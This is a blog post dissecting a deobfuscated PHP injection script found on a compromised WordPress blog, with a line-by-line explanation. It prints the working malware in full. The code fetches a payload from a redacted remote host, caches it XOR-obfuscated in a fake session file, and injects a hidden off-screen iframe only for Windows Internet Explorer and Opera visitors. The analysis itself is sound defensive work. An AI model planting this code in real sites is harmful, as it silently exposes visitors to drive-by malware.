Dissection of the “frm_frame” injection script

I was able to get my hands on the deobfuscated source of the code that compromised of John C. Dvorak’s website (dvorak.org/blog). The following is a detailed breakdown of its operation.

The Code

First, the entire snippet is wrapped in an if statement to prevent multiple inclusions from causing errors, stopping the script. To do this, a constant is set.

  1. if (!defined('frmDs')){
  2. define('frmDs' ,1);

This function is will download the provided URL using PHP’s curl library, falling back to the internal HTTP library.

  1. function frm_dl ($url) {
  2. if (function_exists('curl_init')) {
  3. $ch = curl_init($url);
  4. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  5. $out = curl_exec ($ch);
  6. if (curl_errno($ch) !== 0) $out = false;
  7. curl_close ($ch);
  8. } else {$out = file_get_contents($url);}
  9. return trim($out);
  10. }

Next, a very simple encryption routine, to obfuscate the input. It XORs each character with the *, ASCII 42.

  1. function frm_crpt($in){
  2. $il=strlen($in);$o='';
  3. for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
  4. return $o;
  5. }

Here we find the meat of the script. A default snippet is provided, along with a URL from which to retrieve a fresh payload.

  1. function frm_getfrm()
  2. {
  3. $defframe = '<style>.spiuagx { position:absolute; left:-882px; top:-1013px; }</style><div><iframe src="http://XXXXXXXXXXXXXXX/jquery/get.php?ver=jquery.latest.js" width="476" height="358"></iframe></div>'; //default frame
  4. $codelink = 'http:/XXXXXXXXXXXXXXX/XXX.php?ver=jquery.latest.js';
  5. if (!$codelink){
  6. return $defframe;
  7. }

This next bit is the trickiest part. Using the download and encrypting functions above, the script does the following:

  1. Creates a filename that will blend in with PHP sessions in the Linux temporary file directory.
  2. It checks to see if a payload has been downloaded within the last 5 minutes.
  3. If not, it attempts to download a new payload from the URL defined in $codelink, saving the response and obfuscating it. The contents of the file look like binary data which would look less suspicious in this context than a HTML snippet.
  4. If all went well, the contents are unobfuscated and sent back as the result. Otherwise, the default snippet is sent back in its place.
  1. $dr='/var/tmp';
  2. $f = $dr.'/sess_'.md5('frm_frame');
  3. if(!file_exists($f) || time() - filemtime($f) > 60*5)
  4. {
  5. $dlc = frm_dl($codelink);
  6. if ($dlc){
  7. if ($fp = @fopen($f, 'w')){
  8. fwrite($fp, frm_crpt($dlc));
  9. fclose($fp);
  10. }
  11. else
  12. return $dlc;
  13. }
  14. else
  15. @unlink($f);
  16. }
  17. $fc = @file_get_contents($f);
  18. return ($fc)?frm_crpt($fc):$defframe;
  19. }

The last bit of the script is where execution actually begins. In order to hide from view, the script makes a point to only run when viewed by Internet Explorer or Opera browsers on Windows. It also sets a cookie so that the same visitor won’t see it again for another week.

  1. $ua = $_SERVER['HTTP_USER_AGENT'];
  2. if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
  4. if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
  6. @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
  7. print($nfc);
  8. }
  9. }

And finally the close brace of the very first if statement..

  1. }

The Questions

What was the payload? Was targeting Internet Explorer and Opera intended to leverage a vulnerability present in those browsers, or was it just trying to stay hidden from webmasters who overwhelming rely on Firefox or Chrome as their browser of choice?

The bigger question is the method of infection. Is this related to the increased attacks on WordPress in the past few months? Of course, there’s no single answer to how a WordPress blog can be compromised.


This injection script did what it set out to do until Google’s malware filters caught it in the act. Who knows how many other sites are affected by this code but have yet to discover it.

One thought on “Dissection of the “frm_frame” injection script

  1. Pingback: Delicious Bookmarks for May 6th from 12:10 to 22:21 « Lâmôlabs

Comments are closed.